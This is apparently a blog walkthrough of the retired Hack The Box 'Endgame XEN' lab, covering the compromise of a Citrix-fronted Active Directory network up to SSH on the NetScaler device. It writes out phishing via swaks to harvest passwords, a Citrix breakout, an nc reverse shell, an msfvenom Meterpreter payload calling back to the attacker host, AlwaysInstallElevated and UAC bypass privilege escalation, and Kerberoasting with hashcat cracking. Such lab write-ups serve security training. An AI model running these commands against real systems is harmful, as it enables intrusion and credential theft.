Endgame XEN is all about owning a small network behind a Citrix virtual desktop environment. I’ll phish creds for the Citrix instance from users in the sales department, and then use them to get a foothold. I’ll break out of the restrictions in that environment, and then get administrator access. From there I’ll pivot into the domain, finding a Kerberoastable user and breaking the hash to get access to an SMB share with an encrypted SSH key. I’ll break that, and get access to the NetScaler device, where I’ll capture network traffic to find service creds in LDAP traffic. I’ll spray those creds against the domain to find they also work for a backup service, which I’ll use to access the DC, and to exfil the Active Directory database, where I can find the domain administrator hash.

Lab Details

Name: Endgame XEN
Release Date: 11 May 2019
Retire Date: 16 June 2020
Creators: egre55
Hosts:
  • XEN-DC WindowsWindows
  • XEN-Citrix WindowsWindows
  • XEN-NetScaler FreeBSDFreeBSD
  • XEN-vDesktop1 WindowsWindows
  • XEN-vDesktop2 WindowsWindows
  • XEN-vDesktop3 WindowsWindows
Description: Humongous Retail operates a nationwide chain of stores.

The company has reacted to several recent skimming incidents by investing heavily in their POS systems. Keen to avoid any further negative publicity, they have engaged the services of a penetration testing company to assess the security of their perimeter and internal infrastructure.

Xen is designed to put your skills in enumeration, breakout, lateral movement, and privilege escalation to the test within a small Active Directory environment.

The goal is to gain a foothold on the internal network, escalate privileges and ultimately compromise the domain while collecting several flags along the way.

Breach

nmap

nmap finds three open TCP ports on the target IP, SMTP (25), HTTP (80) and HTTPS (443):

root@kali# nmap -sT -p- --min-rate 10000 -oA scans/nmap-alltcp 10.13.38.12
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-11 08:59 EDT
Nmap scan report for 10.13.38.12
Host is up (0.048s latency).
Not shown: 65532 filtered ports
PORT    STATE SERVICE
25/tcp  open  smtp
80/tcp  open  http
443/tcp open  https

Nmap done: 1 IP address (1 host up) scanned in 30.51 seconds
root@kali# nmap -sV -sC -p 25,80,443 -oA scans/nmap-tcpscripts 10.13.38.12
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-11 09:00 EDT
Nmap scan report for 10.13.38.12
Host is up (0.035s latency).

PORT    STATE SERVICE    VERSION
25/tcp  open  smtp
| fingerprint-strings:
|   GenericLines, GetRequest:
|     220 ESMTP MAIL Service ready (EXCHANGE.HTB.LOCAL)
|     sequence of commands
|     sequence of commands
|   Hello:
|     220 ESMTP MAIL Service ready (EXCHANGE.HTB.LOCAL)
|     EHLO Invalid domain address.
|   Help:
|     220 ESMTP MAIL Service ready (EXCHANGE.HTB.LOCAL)
|     DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
|   NULL:
|_    220 ESMTP MAIL Service ready (EXCHANGE.HTB.LOCAL)
| smtp-commands: CITRIX, SIZE 20480000, AUTH LOGIN, HELP,
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
80/tcp  open  http       Microsoft IIS httpd 7.5
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Did not follow redirect to https://humongousretail.com/
443/tcp open  ssl/https?
|_ssl-date: 2019-05-11T12:58:14+00:00; -3m18s from scanner time.
| sslv2:
|   SSLv2 supported
|   ciphers:
|     SSL2_RC4_128_WITH_MD5
|_    SSL2_DES_192_EDE3_CBC_WITH_MD5
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port25-TCP:V=7.70%I=7%D=5/11%Time=5CD6C792%P=x86_64-pc-linux-gnu%r(NULL
SF:,33,"220\x20ESMTP\x20MAIL\x20Service\x20ready\x20\(EXCHANGE\.HTB\.LOCAL
SF:\)\r\n")%r(Hello,55,"220\x20ESMTP\x20MAIL\x20Service\x20ready\x20\(EXCH
SF:ANGE\.HTB\.LOCAL\)\r\n501\x20EHLO\x20Invalid\x20domain\x20address\.\r\n
SF:")%r(Help,6F,"220\x20ESMTP\x20MAIL\x20Service\x20ready\x20\(EXCHANGE\.H
SF:TB\.LOCAL\)\r\n211\x20DATA\x20HELO\x20EHLO\x20MAIL\x20NOOP\x20QUIT\x20R
SF:CPT\x20RSET\x20SAML\x20TURN\x20VRFY\r\n")%r(GenericLines,6F,"220\x20ESM
SF:TP\x20MAIL\x20Service\x20ready\x20\(EXCHANGE\.HTB\.LOCAL\)\r\n503\x20Ba
SF:d\x20sequence\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\x20comm
SF:ands\r\n")%r(GetRequest,6F,"220\x20ESMTP\x20MAIL\x20Service\x20ready\x2
SF:0\(EXCHANGE\.HTB\.LOCAL\)\r\n503\x20Bad\x20sequence\x20of\x20commands\r
SF:\n503\x20Bad\x20sequence\x20of\x20commands\r\n");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -3m18s, deviation: 0s, median: -3m18s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 122.99 seconds

SMTP scripts are identifying the hostname as EXCHANGE.HTB.LOCAL. Based on the IIS version, this looks like Windows 10 / Server 2016 / Servier 2019.

Website - TCP 80 / 443

Site

Visiting http://10.13.38.12 redirects to https://humongousretail.com/:

HTTP/1.1 301 Moved Permanently
Content-Type: text/html; charset=UTF-8
Location: https://humongousretail.com/
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Sat, 11 May 2019 13:02:53 GMT
Connection: close
Content-Length: 151

<head><title>Document Moved</title></head>
<body><h1>Object Moved</h1>This document may be found <a HREF="https://humongousretail.com/">here</a></body>

After adding to my hosts file, I get a site:

Both the HTTP and HTTPS sites seem to be the same content. There isn’t too much interesting on the site itself, other than a contact email address at the very bottom, jointheteam@humongousretail.com.

Directory Brute Force

Running gobuster (old syntax, would now be gobuster dir -k -u ...) provides some standard paths like images, css, and js, but also /remote:

root@kali# gobuster -k -u https://humongousretail.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -o scans/gobuster-humongousretail-small -t 30                    

=====================================================
Gobuster v2.0.1              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : https://humongousretail.com/
[+] Threads      : 30
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout      : 10s
=====================================================
2019/05/11 09:20:16 Starting gobuster
=====================================================
/images (Status: 301)
/Images (Status: 301)
/css (Status: 301)
/js (Status: 301)
/remote (Status: 301)
/IMAGES (Status: 301)
/CSS (Status: 301)
/JS (Status: 301)
/Remote (Status: 301)
=====================================================
2019/05/11 09:25:29 Finished
=====================================================

/remote

/remote returns a Citrix logon screen:

1557582383932

I tried some basic creds, but was not able to log in.

SMTP - TCP 25

At this point I’ll pivot to SMTP. The first thing I can try is to enumerate users in the domain using the smtp-user-enum tool, which can be found here, or installed on kali with apt install smtp-user-enum.

I’ll run it with a wordlist*, the domain humongousretail.com (which matches the email address from the webpage), the RECP TO method returns users:

root@kali# smtp-user-enum -U /usr/share/seclists/Usernames/Honeypot-Captures/multiplesources-users-fabian-fingerle.de.txt -D humongousretail.com -t 10.13.38.12 -m 50 -M RCPT
Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum )

 ----------------------------------------------------------
|                   Scan Information                       |
 ----------------------------------------------------------

Mode ..................... RCPT
Worker Processes ......... 50
Usernames file ........... /usr/share/seclists/Usernames/Honeypot-Captures/multiplesources-users-fabian-fingerle.de.txt
Target count ............. 1
Username count ........... 21168
Target TCP port .......... 25
Query timeout ............ 5 secs
Target domain ............ humongousretail.com

######## Scan started at Sat May 11 10:59:18 2019 #########
10.13.38.12: it@humongousretail.com exists
10.13.38.12: legal@humongousretail.com exists
10.13.38.12: marketing@humongousretail.com exists
10.13.38.12: sales@humongousretail.com exists
######## Scan completed at Sat May 11 11:06:51 2019 #########
4 results.

21168 queries in 453 seconds (46.7 queries / sec)

* I would think I would pick a wordlist from SecLists, but my notes only show names.txt… a wordlist from SecLists Usernames that does hit on these results is in Usernames/Honeypot-Captures/multiplesources-users-fabian-fingerle.de.txt. It’s also possible I used Discovery/web-contents/big.txt, which would be a bit strange for enumerating user accounts, but does have all four accounts.

Now I have five email addresses.

Phishing for Creds

I’ll use the emails that I have to try to phish credentials for the Citrix login. It took me a while to compose an email that resulted in a hit. The following criteria seemed to work for me:

  • To sales@humongousretail.com
  • From it@humongousretail.com
  • “citrix” in the body of the message
  • url in the body of the message

I used swaks to send an email just to see if someone would click on a link:

root@kali# swaks --to sales@humongousretail.com --from it@humongousretail.com --header "Subject: Credentials / Errors" --body "citrix http://10.14.15.41/" --server humongousretail.com
...[snip]...

With Python web server listening on port 80, I was quite surprised when a few seconds later I got POST request back:

root@kali# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.13.38.12 - - [11/May/2019 09:13:08] code 501, message Unsupported method ('POST')
10.13.38.12 - - [11/May/2019 09:13:08] "POST /remote/auth/login.aspx?LoginType=Explicit&user=pmorgan&password=Summer1Summer!&domain=HTB.LOCAL HTTP/1.1" 501 - 

To see the full request, I killed Python and started nc:

root@kali# nc -lnvp 80
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.13.38.12.
Ncat: Connection from 10.13.38.12:50123.
POST /remote/auth/login.aspx?LoginType=Explicit&user=awardel&password=@M3m3ntoM0ri@&domain=HTB.LOCAL HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36
Host: 10.14.15.41
Content-Length: 75
Expect: 100-continue
Connection: Keep-Alive

LoginType=Explicit&user=awardel&password=%40M3m3ntoM0ri%40&domain=HTB.LOCAL

I also noted that there were different creds. After sending a handful of times, I collected the following credentials:

  • jmendes / VivaBARC3L0N@!!!
  • awardel / @M3m3ntoM0ri
  • pmorgan / Summer1Summer!

I believe the intention here was to set up a full phishing campaign where I clone the citrix login, and send sales an email that we’re testing a new Citrix url, and then use that to get their creds. I suspect the automation kind of shortcutted that directly to the POST with the creds.

I also believe that the three sets of creds are just because only one user can be logged into Citrix at a time, so this was to lessen the odds of a HTB player bumping someone else out of the desktop.

Configure Citrix

When I first visit the site, it actually has a prompt to install Citrix:

image-20200616165348833

When I used those prompts, it didn’t work well for me. This might be because it gives the 32-bit package. Either way, I was able to get the 64-bit tarball package from here, and install with the following commands:

root@kali# rm -rf temp/; mkdir temp/
root@kali# tar xf linuxx64-13.10.0.20.tar.gz -C temp/
root@kali# cd temp/
root@kali# ls
linuxx64  nls  PkgId  setupwfc
root@kali# ./setupwfc
Citrix Receiver for Linux 13.10.0 setup.
...[snip]...
Select a setup option:

 1. Install Citrix Receiver for Linux 13.10.0
 2. Remove Citrix Receiver for Linux 13.10.0
 3. Quit Citrix Receiver for Linux 13.10.0 setup

Enter option number 1-3 [1]: 1

Please enter the directory in which Citrix Receiver for Linux is to be installed.
[default /opt/Citrix/ICAClient]
or type "quit" to abandon the installation:

The parent directory /opt/Citrix does not exist.
Do you want to create it? [default y]:

You have chosen to install Citrix Receiver for Linux 13.10.0 in /opt/Citrix/ICAClient.

Proceed with installation? [default n]: y

Installation proceeding...

Checking available disk space ...

        Disk space available 50140072 K
        Disk space required 51234 K


Continuing ...
Creating directory /opt/Citrix/ICAClient
Core package...
Setting file permissions...
Integrating with browsers...
Browsers found.

Found entries in browser configuration(s) from an earlier installation.
Do you want these entries to point to the new installation? [default y]:

Integration complete.
Do you want GStreamer to use the plugin from this client? [default y]:
Do you want to install USB support? [default n]: y


Select a setup option:

 1. Install Citrix Receiver for Linux 13.10.0
 2. Remove Citrix Receiver for Linux 13.10.0
 3. Quit Citrix Receiver for Linux 13.10.0 setup

Enter option number 1-3 [3]: 3
Quitting Citrix Receiver for Linux 13.10.0 setup.

Get Desktop

Now I’ll go back and enter creds for one of the accounts:

1557582861291

On hitting “Log On”, it shows a single desktop. Clicking on it downloads an .ica file, which my system now offers the Citrix Receiver Engine as the program to handle it:

1557582877718

On clicking ok, I’m at a Windows desktop with nothing on it. Going into Explorer, I can see there’s actually a flag.txt on the desktop, and it contains the first flag:

desktop with flagClick for full size image

Breach: XEN{wh0_n33d5_2f@?}

Deploy

Restricted Environment Bypass

Restrictions

The first thing I wanted to do was get to a shell, but it quickly becomes clear that I’m in a restricted environment. I can’t find cmd.exe or powershell.exe in the start menu. If I try to visit c:\windows\system32 in Explorer, I get an error:

image-20200616171333484

I tried to access files from my local host by starting an SMB server with smbserver.py share .. When I try to access it in Explorer, the creds are actually sent to smbserver.py, but then Explorer blocks me:

image-20200616172355013

bat File

The simplest way I know of to get past this kind of restriction is to use a .bat file. notepad.exe isn’t available from the Start Menu, but I can right-click and create a text file in the user’s documents. Then I can double click it, and it opens in Notepad.

I’ll enter the text cmd.exe, and save it as cmd.bat (making sure to change the Save as type to “All files” so it doesn’t append .txt to the end of the file name).

image-20200616172918977

Double-clicking on cmd.bat launches cmd.exe:

image-20200616173018799

nc Shell

Next I got a quick nc remote shell, though I’ll end up using the GUI desktop for many of the next steps. I’ll make sure there’s a copy of nc64.exe in the share, and run it from the share:

image-20200616173419135

At my listener, I get a shell:

root@kali# rlwrap nc -lnvp 443
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.13.38.15.
Ncat: Connection from 10.13.38.15:50549.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\pmorgan\Documents>

Privesc to Administrator

I ran PowerUp.ps1, and one of the things it identified was the Always Install Elevated key was present and set. I can see this from my shell:

C:\>reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer
    AlwaysInstallElevated    REG_DWORD    0x1


C:\>reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
    AlwaysInstallElevated    REG_DWORD    0x1

To take advantage of this, I’ll run the function Write-UserAddMSI in PowerUp. I’ll run it, and it tells me the name of the MSI it created:

1557586889623

I can now see the icon in Explorer:

1557586898998

Running it pops a prompt:

1557587018111

If I give it a password that doesn’t meet the password complexity, it will throw an error. When I give it a good password, the new user is there:

1557587849607

Now I’ll use runas to get a shell as 0xdf:

1557587828327

A new cmd.exe shell opens.

UAC Bypass

Even as 0xdf, I can’t access \users\administrator:

image-20200616180334365

That’s because UAC has this shell running as low-priv:

1557587868158

Some Googling led to this exploit which breaks free from UAC (this one also works). I’ll copy it over and compile it with PowerShell creating a .dll. Then I’ll load that using reflection, and then call the Execute function to start a new cmd.exe:

1557588503599

The resulting cmd that pops up has full admin privs:

image-20200616181549415

Now I can access the administrator’s desktop, and find the next flag:

C:\Users\Administrator\Desktop>type flag.txt
XEN{7ru573d_1n574ll3r5}

Deploy: XEN{7ru573d_1n574ll3r5}

Ghost

Meterpreter

At this point, to continue into the network, I’ll use Metasploit to help manage tunnels. It can certainly be done with something like Chisel, but it’s just easier to use MSF, and it’s not keeping me from learning anything. It is also much faster if I’m competing with someone for the Citrix Desktop. I can log in, launch a shell, run the MSF payload from my share, and I’m done with the session.

I’ll create a reverse shell payload:

root@kali# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.14.15.41 LPORT=443 -f exe -o rev.51-443.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: rev.51-443.exe

With exploit/multi/handler running, I’ll run it in my initial shell as the basic user:

image-20200616222411779

The callback comes in MSF:

msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.14.15.41:443 
[*] Sending stage (201283 bytes) to 10.13.38.15
[*] Meterpreter session 1 opened (10.14.15.41:443 -> 10.13.38.15:50715) at 2020-06-16 22:22:17 -0400

meterpreter > 

To get SYSTEM access, I’ll background this session, and use exploit/windows/local/always_install_elevated:

msf5 exploit(windows/local/always_install_elevated) > run

[*] Started reverse TCP handler on 10.14.15.41:443 
[*] Uploading the MSI to C:\Users\pmorgan\AppData\Local\Temp\JOrCzGeQ.msi ...
[*] Executing MSI...
[*] Sending stage (176195 bytes) to 10.13.38.15
[*] Meterpreter session 2 opened (10.14.15.41:443 -> 10.13.38.15:50717) at 2020-06-16 22:25:57 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Kerberoast

Get DC IP

Now that I have access to the domain, I want to try Kerberoasting to gather additional credentials. I’ll need the DC’s IP address. I guessed that the name might be DC, and ping gives it’s IP address:

C:\Windows\system32>ping -n 1 dc
ping -n 1 dc

Pinging DC.htb.local [172.16.249.200] with 32 bytes of data:
Reply from 172.16.249.200: bytes=32 time<1ms TTL=128

Ping statistics for 172.16.249.200:
    Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = 0ms, Average = 0ms

Create Proxy

I’ll now create a proxy through the meterpreter session so that I can connect directly to the DC from my host. I’ll need to run two commands. First, I’ll use post/multi/manage/autoroute to tell MSF that it should route traffic to 172.16.249.0/24 through session 2.

msf5 post(multi/manage/autoroute) > options       
               
Module options (post/multi/manage/autoroute):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CMD      autoadd          yes       Specify the autoroute command (Accepted: add, autoadd, print, delete, default)    
   NETMASK  255.255.255.0    no        Netmask (IPv4 as "255.255.255.0" or CIDR as "/24"
   SESSION  2                yes       The session to run this module on.
   SUBNET                    no        Subnet (IPv4, for example, 10.10.10.0)        
                
msf5 post(multi/manage/autoroute) > run            
                                                                                  
[!] SESSION may not be compatible with this module.
[*] Running module against VDESKTOP3
[*] Searching for subnets to autoroute.
[+] Route added to subnet 10.13.38.0/255.255.255.0 from host's routing table.
[+] Route added to subnet 172.16.249.0/255.255.255.0 from host's routing table.
[*] Post module execution completed 

Now I’ll start the proxy using auxiliary/server/socks4a:

msf5 auxiliary(server/socks4a) > options 

Module options (auxiliary/server/socks4a):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The address to listen on
   SRVPORT  1080             yes       The port to listen on.


Auxiliary action:

   Name   Description
   ----   -----------
   Proxy                               


msf5 auxiliary(server/socks4a) > run
[*] Auxiliary module running as background job 0.

[*] Starting the socks4a proxy server

Now I can use proxychains to tunnel into the Xen network.

Roasting

I’ll use GetUserSPNs.py to Kerberoast, and it returns a hash for mturner:

root@kali# proxychains GetUserSPNs.py -request -dc-ip 172.16.249.200 HTB.LOCAL/pmorgan:Summer1Summer! -save -outputfile GetUserSPNs.out                                                                                   
ProxyChains-3.1 (http://proxychains.sf.net)
Impacket v0.9.19-dev - Copyright 2018 SecureAuth Corporation

ServicePrincipalName                Name     MemberOf                                 PasswordLastSet      LastLogon
----------------------------------  -------  ---------------------------------------  -------------------  -------------------
MSSQLSvc/CITRIXTEST.HTB.LOCAL:1433  mturner  CN=Deployment,OU=Groups,DC=htb,DC=local  2019-02-13 17:23:48  2019-04-10 16:14:57

root@kali# cat GetUserSPNs.out
$krb5tgs$23$*mturner$HTB.LOCAL$MSSQLSvc/CITRIXTEST.HTB.LOCAL~1433*$2c25cd994272360eeee9720fcf70b88e$f42d18b44f7bf2e242285f39370da356c9784f4ec96123b5d47766caebb6f0dae5350b58df4cd2c53c2c6671b7d5d425937656e01670134ee858d21b1515121adb29ba6de2fabab4f3ff139369136d3772e11d34c4979a0b5c3f65ff9648b26621d915352fead31a93e2dd01f92f1d329aef924e5969159cde84b764e4b45d01f162a92b667080983ed636f7a154fe4e63255e3d50b33c0fb8b95f0cd70f1bea102c0affcb89ba987bd5a9316a9c3254c93fabf71e584f5eaa726f3a7922b97b47e2bb16f8fb0bb2e73293d3f664e4e85bd3c6b995d13e5df3a1406a9395f7b02777e27ccd433f0fc0d006740ab92d9c13d6f0e91083b764b233783fbe490de230ec13d1c1ab1c63ecfc0248e4bca5050f7706d17ee827caf8377dc70c9df35cb81901542778f7c56aedd7f6491fb1c4e5f47990b95d2999e8df1e884be2023c0289a00f8a68bb12767f85dd958c2b2ae97cd7a5599503b064d7a5074c4932d443a141421941ba4193c08337dc95632d4e88282a6e789925bd4709e00f91420c18e8b6ac0b1bf6798fa719dd863c52b00631c4eedeb9718710f6c14625dd9b4ed71b7a3c09e7c353d44f215f496f2bab37f220e4f60637d5331360e13dcc216d990d1ae80705a8ec053427ab179b5160cdc1b39a26c4700b69c66fd11b53b6e942d0abf54d96f61eb5715c4f58a1246fa86f4a232f36d6989d783909bc28bfd8b836d6250a9f1a5350046a004a452da54d7c48e73998e0a2b457dac1f5687c70441974a27391bb9e31ea4510de4c32ef76a4287ae4929da9ff77cd1c18df4bee33115f356e2df9cee980e38ee644b4f1b9a7da38df0c9bb37d6c9f9fc4d79f407f8919c6b8d9fcba2779f8b91231a8aca7ae7b82e20341f5e5ac29f601d1e112c082128cd8a7be031b2279460833d4b03c2d4018bd1be0ca7b6578933c9142e653e2a931ab56516de8f1fd66a46f6834aa15aa4e4213265011cf7911325a281694b1f5fe040c13d1cc076efa27657deac7661a0455e86f78d5473b63324a1a10247ace4c64a4f37f17c6c671e9a97d4559a1a432aeea2275d7ea803e255add1daae32105c0337da391486157adb645d2faf0a138f63b0a1d7d739d11cbb53013ababb1cbf8d11c71bc143abf200466288197a6714d76ca0e538c25c8563e00acaa020033e3800d0c46cffc164a7a7bdc7851edcc08971328a59f3830158b9146027ccbe4d41df15f5834eff7dded87c4fd40b9aaf287a0d1a8c06cf71c82981ae6832a04ec30499570fb5842416a3202521095d9f337d7bfb1805ba18b7bd50396

Crack Hash

My first attempts to crack the hash failed. After trying a few wordlists, I tried applying some rule files, and it broke:

root@kali# hashcat -a 0 -m 13100 GetUserSPNs.out /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/dive.rule --force

$krb5tgs$23$*mturner$HTB.LOCAL$MSSQLSvc/CITRIXTEST.HTB.LOCAL~1433*$2c25cd994272360eeee9720fcf70b88e$f42d18b44f7bf2e242285f39370da356c9784f4ec96123b5d47766caebb6f0dae5350b58df4cd2c53c2c6671b7d5d425937656e01670134ee858d21b1515121adb29ba6de2fabab4f3ff139369136d3772e11d34c4979a0b5c3f65ff9648b26621d915352fead31a93e2dd01f92f1d329aef924e5969159cde84b764e4b45d01f162a92b667080983ed636f7a154fe4e63255e3d50b33c0fb8b95f0cd70f1bea102c0affcb89ba987bd5a9316a9c3254c93fabf71e584f5eaa726f3a7922b97b47e2bb16f8fb0bb2e73293d3f664e4e85bd3c6b995d13e5df3a1406a9395f7b02777e27ccd433f0fc0d006740ab92d9c13d6f0e91083b764b233783fbe490de230ec13d1c1ab1c63ecfc0248e4bca5050f7706d17ee827caf8377dc70c9df35cb81901542778f7c56aedd7f6491fb1c4e5f47990b95d2999e8df1e884be2023c0289a00f8a68bb12767f85dd958c2b2ae97cd7a5599503b064d7a5074c4932d443a141421941ba4193c08337dc95632d4e88282a6e789925bd4709e00f91420c18e8b6ac0b1bf6798fa719dd863c52b00631c4eedeb9718710f6c14625dd9b4ed71b7a3c09e7c353d44f215f496f2bab37f220e4f60637d5331360e13dcc216d990d1ae80705a8ec053427ab179b5160cdc1b39a26c4700b69c66fd11b53b6e942d0abf54d96f61eb5715c4f58a1246fa86f4a232f36d6989d783909bc28bfd8b836d6250a9f1a5350046a004a452da54d7c48e73998e0a2b457dac1f5687c70441974a27391bb9e31ea4510de4c32ef76a4287ae4929da9ff77cd1c18df4bee33115f356e2df9cee980e38ee644b4f1b9a7da38df0c9bb37d6c9f9fc4d79f407f8919c6b8d9fcba2779f8b91231a8aca7ae7b82e20341f5e5ac29f601d1e112c082128cd8a7be031b2279460833d4b03c2d4018bd1be0ca7b6578933c9142e653e2a931ab56516de8f1fd66a46f6834aa15aa4e4213265011cf7911325a281694b1f5fe040c13d1cc076efa27657deac7661a0455e86f78d5473b63324a1a10247ace4c64a4f37f17c6c671e9a97d4559a1a432aeea2275d7ea803e255add1daae32105c0337da391486157adb645d2faf0a138f63b0a1d7d739d11cbb53013ababb1cbf8d11c71bc143abf200466288197a6714d76ca0e538c25c8563e00acaa020033e3800d0c46cffc164a7a7bdc7851edcc08971328a59f3830158b9146027ccbe4d41df15f5834eff7dded87c4fd40b9aaf287a0d1a8c06cf71c82981ae6832a04ec30499570fb5842416a3202521095d9f337d7bfb1805ba18b7bd50396:4install!                                                                               

Session..........: hashcat
Status...........: Cracked
Hash.Type........: Kerberos 5 TGS-REP etype 23
Hash.Target......: $krb5tgs$23$*mturner$HTB.LOCAL$MSSQLSvc/CITRIXTEST....d50396
Time.Started.....: Mon May 13 17:40:49 2019 (6 hours, 49 mins)
Time.Estimated...: Tue May 14 00:30:34 2019 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Mod........: Rules (/usr/share/hashcat/rules/dive.rule)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   348.1 kH/s (14.54ms) @ Accel:8 Loops:4 Thr:64 Vec:8
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 8733004800/1421327732110 (0.61%)
Rejected.........: 0/8733004800 (0.00%)
Restore.Point....: 87552/14344385 (0.61%)
Restore.Sub.#1...: Salt:0 Amplifier:37644-37648 Iteration:0-4
Candidates.#1....: temperaas1ture -> hako03

Started: Mon May 13 17:40:36 2019
Stopped: Tue May 14 00:30:36 2019

New creds: mturner / 4install!

Network Enumeration

I wanted to get a list of IPs of hosts in the network, so I’ll use PowerView.ps1 from PowerSploit.

meterpreter > use powershell 
Loading extension powershell...Success.
meterpreter > powershell_import /opt/PowerSploit/Recon/PowerView.ps1
[+] File successfully imported. No result was returned.

Now drop into PowerShell and get computer list:

meterpreter > powershell_shell 
PS > Get-DomainComputer | select name

name
----
DC
CITRIX
VDESKTOP3
VDESKTOP2
VDESKTOP1
LAPTOP1
LAPTOP2
LAPTOP3
LAPTOP5
LAPTOP6
WK01
WK02
WK03
WK04
WK05
WK06
WK07
WK09

Taking that list, combining it with the list of hosts from the Xen Page, and some ping, I believe the active network looks like:

Hostname IP
DC .200
CITRIX .201
NETSCALER .202
VDESKTOP1 .203
VDESKTOP2 .204
VDESKTOP3 .205

The NETSCALER IP is a bit of a guess, but it’s ping returns a TTL of 64, which matches FreeBSD.

SMB Access on CITRIX

As I’m already SYSTEM on the three VDESKTOP machines, I start poking at CITRIX. The creds from Kerberoast are good, but not enough to give a shell:

root@kali# proxychains crackmapexec smb 172.16.249.201 -u mturner -p '4install!'
ProxyChains-3.1 (http://proxychains.sf.net)
SMB         172.16.249.201  445    CITRIX           [*] Windows Server 2008 R2 Standard 7601 Service Pack 1 (name:CITRIX) (domain:htb.local) (signing:False) (SMBv1:True)
SMB         172.16.249.201  445    CITRIX           [+] htb.local\mturner:4install!

I’ll list the shares on the host:

C:\>net view /all \\citrix
Shared resources at \\citrix

Share name  Type  Used as  Comment        

-------------------------------------------------------------------------------
ADMIN$      Disk           Remote Admin   
C$          Disk           Default share  
Citrix$     Disk                          
IPC$        IPC            Remote IPC     
ISOs        Disk                          
ISOs-TEST   Disk                          
The command completed successfully.

In the Citrix$ share, I find a flag:

C:\>net use \\citrix\citrix$ /u:mturner 4install!
The command completed successfully.


C:\>dir \\citrix\citrix$
 Volume in drive \\citrix\citrix$ has no label.
 Volume Serial Number is 244B-E63F

 Directory of \\citrix\citrix$

05/08/2019  06:12 PM    <DIR>          .
05/08/2019  06:12 PM    <DIR>          ..
02/12/2019  07:21 PM           997,001 Deploying-XenServer-5.6.pdf
03/31/2019  11:25 AM                20 flag.txt
05/08/2019  06:21 PM             1,486 private.ppk
02/12/2019  07:21 PM         1,747,587 XenServer-5-6-SHG.pdf
               4 File(s)      2,746,094 bytes
               2 Dir(s)  25,994,129,408 bytes free
               
C:\>type \\citrix\citrix$\flag.txt
XEN{l364cy_5pn5_ftw}

Ghost: XEN{l364cy_5pn5_ftw}

Camouflage

Enumeration

Also in the SMB share I find some PDFs about XenServer (which is the Citrix Hypervisor) and a private.ppk, which is an SSH key used by Windows programs like Putty. This all seems like a hint to turn towards the Citrix device, NETSCALER.

Web

If I tell Firefox to use the local SOCKS4 proxy on TCP 1080 (can do it in the settings, but I like FoxyProxy plugin), then I can browse to the NetScaler webpage:

image-20200617073132095

I can also log in with the creds I got from phishing:

image-20200617072740621

I spent a few minutes looking for exploits to get a shell from web access, but then decided that because I had this SSH key, I should start there.

SSH

The creds from phishing and from mturner all work to log in with SSH:

root@kali# proxychains sshpass -p '4install!' ssh mturner@172.16.249.202
ProxyChains-3.1 (http://proxychains.sf.net)
###############################################################################
#                                                                             #
#        WARNING: Access to this system is for authorized users only          #
#         Disconnect IMMEDIATELY if you are not an authorized user!           #
#                                                                             #
###############################################################################

Last login: Mon Jun 15 12:17:27 2020 from 172.16.249.203
 Done
mturner@???-12:35>

Unfortunately for me, they drop me at a Citrix terminal:

mturner@???-12:35> ls
ERROR: No such command
mturner@???-12:35> help

   NetScaler command-line interface
 
   Try :
     'help <commandName>' for full usage of a specific command
     'help <groupName>'   for brief usage of a group of commands
     'help -all'          for brief usage of all CLI commands
     'man <commandName>'  for a complete command description
 
     '?' will show possible completions in the current context
 
  The command groups are:
        basic                   app                     aaa                     appflow                 appfw                   appqoe                  audit                   authentication          authorization  
        autoscale               bfd                     ca                      cache                   cli                     cloud                   cluster                 cmp                     feo            
